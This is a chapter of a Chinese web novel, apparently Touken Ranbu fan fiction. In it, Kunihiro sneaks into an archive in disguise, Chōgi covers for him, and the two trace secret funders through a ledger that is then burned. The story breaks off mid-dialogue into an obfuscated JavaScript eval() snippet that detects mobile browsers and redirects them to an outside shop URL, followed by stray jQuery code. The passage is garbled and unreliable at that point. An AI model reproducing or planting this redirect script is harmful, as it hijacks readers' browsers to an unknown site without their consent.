第96章:档案室的灰烬
时政总部的地下档案室,灯光永远维持在一种让人昏昏欲睡的暖黄色。
山姥切国广贴着墙角的阴影移动,脚步很轻,轻到连灰尘都没有惊起。他身上穿着最普通的杂役制服,深灰色的粗布衣裤,腰上系着围裙,手里还拎着个空水桶,看起来就像个刚打扫完卫生、正准备离开的清洁工。
没人会多看他一眼。
这就是“伪物”的好处。长义在制定计划时说过:监察官的身份太显眼,无论走到哪里都会被人记住。但一个不起眼的清洁工?时政总部每天进出上百个杂役,面孔模糊,身份低微,就像背景板一样,没人会费心去记。
国广停在一扇厚重的橡木门前。门牌上刻着“文化遗产局·特别档案库·第七分室”,底下还有一行小字:“非授权人员严禁入内”。
他左右看了看。走廊空无一人,只有远处传来隐约的脚步声,是巡逻的守卫,按固定路线行走,每十五分钟经过一次。
时间足够。
国广从围裙口袋里摸出一把钥匙。不是偷的,是长义“借”来的,从某个因为贪污而被停职审查的中层官员那里“借”的。钥匙的形状很特殊,前端有三道凹槽,对应门锁内部的机关。
他插进锁孔,轻轻转动。
“咔哒。”
很轻的一声。门锁开了。
国广推门进去,反手将门虚掩。档案室里很暗,只有几盏壁灯发出微弱的光。空气里有股陈旧纸张和防虫药混合的气味,浓得几乎能尝出味道。
他放下水桶,从怀里掏出一个小型灵力探测器,药研特制的,能感应到特定频率的灵压波动。长义说过,他们要找的账本不是普通文件,上面应该残留着经手者的灵力印记。
探测器启动后,发出极轻微的嗡鸣。屏幕上的指针开始缓慢转动,指向房间深处的一排档案架。
国广走过去。
档案架很高,几乎顶到天花板。架子上整齐地码放着厚厚的卷宗,标签上写着年份和编号:庆长三年、庆长五年、元和元年……都是江户初期的档案。
他要找的是庆长五年到元和元年之间,关于“刀剑男士异常灵力波动事件”的调查报告。长义分析过,净罪之翼最早的活动痕迹就出现在那个时期,而且与时政内部某个派系的资金流动高度重合。
如果能找到原始账本,就能锁定具体的人。
探测器上的指针忽然剧烈抖动起来。
国广停下脚步。他面前是“庆长七年”的档案区,其中一个卷宗的标签上写着一行小字:“堺港贸易异常资金流向-备查”。
就是它。
他伸手去取卷宗,指尖刚触碰到皮质封面,
“谁在那里?”
声音从门口传来。
国广浑身一僵。他缓缓转过身,看见一个穿着时政制服的年轻事务官站在门口,手里拿着记录板,脸上带着疑惑的表情。
糟了。巡逻时间算错了?还是对方临时改变了路线?
“我问你,谁在那里?”事务官走进来,眉头皱起,“这个档案室需要二级以上权限才能进入,你的身份牌呢?”
国广低下头,声音压得很低,还故意带上了点关西口音:“抱、抱歉,大人……俺是来打扫的,走错房间了……”
“打扫?”事务官打量着他,眼神里的怀疑越来越重,“清洁工的工作范围只到三层为止,这里是地下二层。你怎么下来的?”
“电梯……电梯坏了,俺走楼梯,迷路了……”国广继续装傻,手指悄悄伸进围裙口袋,摸到了药研给的另一个小玩意儿,烟雾符。
但他没有立刻使用。长义交代过:除非万不得已,不要暴露。一旦用了灵力,就会被监控系统记录,到时候追查起来更麻烦。
“把你的身份牌拿出来。”事务官伸出手,语气已经变得严厉,“我要检查。”
国广磨磨蹭蹭地在身上摸索,心里快速计算着距离和时间。门口到档案架大约七米,对方是文职事务官,战斗能力应该不强。如果用最快速度冲过去,打晕对方,然后拿卷宗离开,
就在这时,档案室的门又被推开了。
“小林君?”
一个熟悉的声音响起。
国广的呼吸停了一瞬。
进来的是山姥切长义。监察官制服一丝不苟,银发整齐地束在脑后,脸上挂着那种标准的、带着距离感的公务式微笑。
“长义监察官?”被称作小林的事务官愣了一下,随即行礼,“您怎么?”
“来调一份旧档案。”长义说得云淡风轻,目光扫过国广时,连停顿都没有,就像在看一个真正的陌生清洁工,“倒是你,这么晚了还在工作?”
“啊,是……我正在做月度盘点,听到这边有动静就过来看看。”小林说着,又瞥了国广一眼,“这个清洁工说走错房间了,但我觉得有点可疑……”
“走错房间?”长义挑了挑眉,终于“正眼”看向国广,“你哪个部门的?”
国广低着头,声音更小了:“庶务科……打扫组的……”
“庶务科。”长义重复了一遍,语气里带上了一点恰到好处的轻蔑,“庶务科的人确实经常搞不清分区。上个月还有个蠢货把重要文件当废纸扔了,害得我们监察部加班三天。”
小林的表情放松了些。长义的话听起来像在批评,但实际是在给这件事定性,不是间谍活动,只是庶务科的又一次低级失误。
“那……要报告上去吗?”小林问。
“算了。”长义摆摆手,显得很不耐烦,“报告了又要写一堆说明,麻烦。你让他赶紧走,别在这碍眼。”
“是!”小林转向国广,语气已经没那么凶了,“听见没有?快出去!以后看清楚门牌再进!”
国广连连鞠躬:“对、对不起,俺这就走……”
他拎起水桶,低着头快步往外走。经过长义身边时,两人的目光有不到半秒的交汇。
长义的眼底很平静,平静得像深潭的水。
但国广看见了他手指极轻微的动作,在制服袖口的遮掩下,食指和中指并拢,向下点了两下。
意思是:东西拿到了,在下面。
国广的心跳漏了一拍。什么时候?长义明明一直站在门口,离档案架至少有十米远,
但他没时间细想,只能继续往外走。穿过走廊,拐进楼梯间,一直到确认身后没人跟来,才靠在墙上,长长吐出一口气。
后背全是冷汗。
几分钟后,楼梯间的门再次打开。长义走进来,手里拿着个普通的文件袋,看起来很薄。
“给你三分钟。”他说着,把文件袋递过来,“记下关键内容,然后我放回去。”
国广接过,快速打开。里面不是账本原件,是几页复印纸,看来长义早就拿到了,刚才只是在配合演戏。
纸上的内容很密,是手写的流水账。日期、金额、经手人代号、收款方备注……国广的目光飞快扫过,记忆那些关键信息:
庆长七年三月·贰佰贯·代号“浆”·备注“堺港实验场初期建设”
庆长七年六月·壹佰伍拾贯·代号“白鹭”·备注“七支刀铸造材料购入”
庆长八年正月·参佰贯·代号“浆”·备注“刀剑男士‘地藏行平’购入费用”
……
元和元年九月·伍佰贯·代号“白鹭”·备注“S-07本丸监视系统加装”
最后一条记录的日期,是三个月前。
国广的手指微微发冷。
“记住了?”长义问。
“嗯。”国广把复印件递回去,声音有点干涩,“代号‘浆’和‘白鹭’,经手了至少八笔大额资金,总金额超过两千贯。收款方包括实验场、材料商、还有……刀剑男士的购买。”
“购买。”长义重复这个词,嘴角勾起一个冰冷的弧度,“说得真文明。明明是绑架和改造,却写成‘购买
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069214|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
’。”
他接过复印件,从怀里掏出个打火机,“咔哒”一声点燃。火苗舔上纸页边缘,迅速蔓延,很快就把那几页纸烧成了灰烬。
火苗窜起的瞬间,长义的声音压得很低,语速快而清晰,仿佛在向国广解释,又像是在梳理自己的思路:
“计划变了。小林看见了你的脸,不,他看见了一个‘可疑的清洁工’。最迟明天交接班时,这条消息就会进入监察部的日常简报。届时,这间档案室会成为重点排查区域。”
纸张在火焰中卷曲、变黑。
“如果把这东西放回去,等于把证据亲手塞进调查者手里。而现在烧了它,”他松开手,任由灰烬飘落,“他们只会发现一堆纸灰,然后陷入‘是谁’、‘为什么’、‘销毁了什么’的猜测。猜疑会拖延时间,而我们需要时间。”
“我三天前就拿到了这个的扫描件。”他从怀中取出一个指甲盖大小的黑色芯片,“但原件的位置、档案室的安保状态、以及你能否在压力下完成任务,这些都需要实地验证。”
国广沉默片刻:
“所以你让我来,是为了确认这些。”
长义将芯片递给他:
“也是为了确认你值不值得信任。听着,国广,接下来我们要做的事,一旦暴露,不止你我,整个本丸都可能被牵连。我不能把一个不稳定的因素带进计划里。”
国广接过芯片,握紧:
“……我明白了。”
长义转身:
“芯片里的数据是加密的,只有药研的解码器能读取。至于这些纸灰,让它们成为‘某个蠢贼试图销毁证据却失败’的烟雾弹吧。”
“现在,”长义踩了踩地上的灰,抬起头,“我们有三个人了。”
“三个?”
“浆,白鹭,还有最后那个,”长义顿了顿,“……‘黑鸢’。虽然只出现了一次,但那笔五百贯的金额最大,备注也最模糊。我猜,他是更高层的协调者。”
国广沉默。三个高层。时政内部有三个手握实权的人,在持续给净罪之翼输送资金和资源。而其中一个人,甚至在三个月前还在为本丸加装监视系统。
这意味着什么?
意味着他们在这里说的每一句话,做的每一件事,可能都有人在看着。
“主公知道吗?”国广低声问。
“知道一部分。”长义说,“我上周给了他一个初步名单,但当时还不确定资金流向。现在……”
他看了看手表。
“还有两小时天亮。你回本丸,把刚才记下的信息完整复述给药研,让他录入加密档案。我去一趟监察部的内部数据库,查查这三个代号对应哪些人。”
“现在去?”国广皱眉,“太危险了。刚才那个事务官可能已经起了疑心,”
“正因为他起了疑心,我才要去。”长义打断他,语气很冷静,“如果我今晚不去查档案,反而显得心虚。我现在去,装作例行检查,反而能打消他的怀疑。”
国广想反驳,但找不到理由。长义说得对,监察官的身份在这个时候反而成了保护色,有权随时调阅非机密档案,这是他的职责。
“小心点。”最后,国广只能这么说。
长义看了他一眼,眼神有点复杂。
“你也是。”他说,“回去的时候走西侧小路,避开主路。昨晚山林里的‘蚀’又增多了,虽然还没活化,但保险起见。”
国广点头。
两人在楼梯间分开。长义往上走,回档案室“善后”;国广往下,从来时的备用通道离开时政总部。
走出建筑时,天边已经泛起了鱼肚白。
国广回头看了一眼那座灯火通明的大楼。在晨光的衬托下,它显得格外庞大、冰冷,像一头蛰伏的巨兽。
而他和长义,刚刚从这头巨兽的牙齿缝里,偷走了一点秘密。
他拉紧围裙,低下头,快步走入渐亮的晨雾中。
---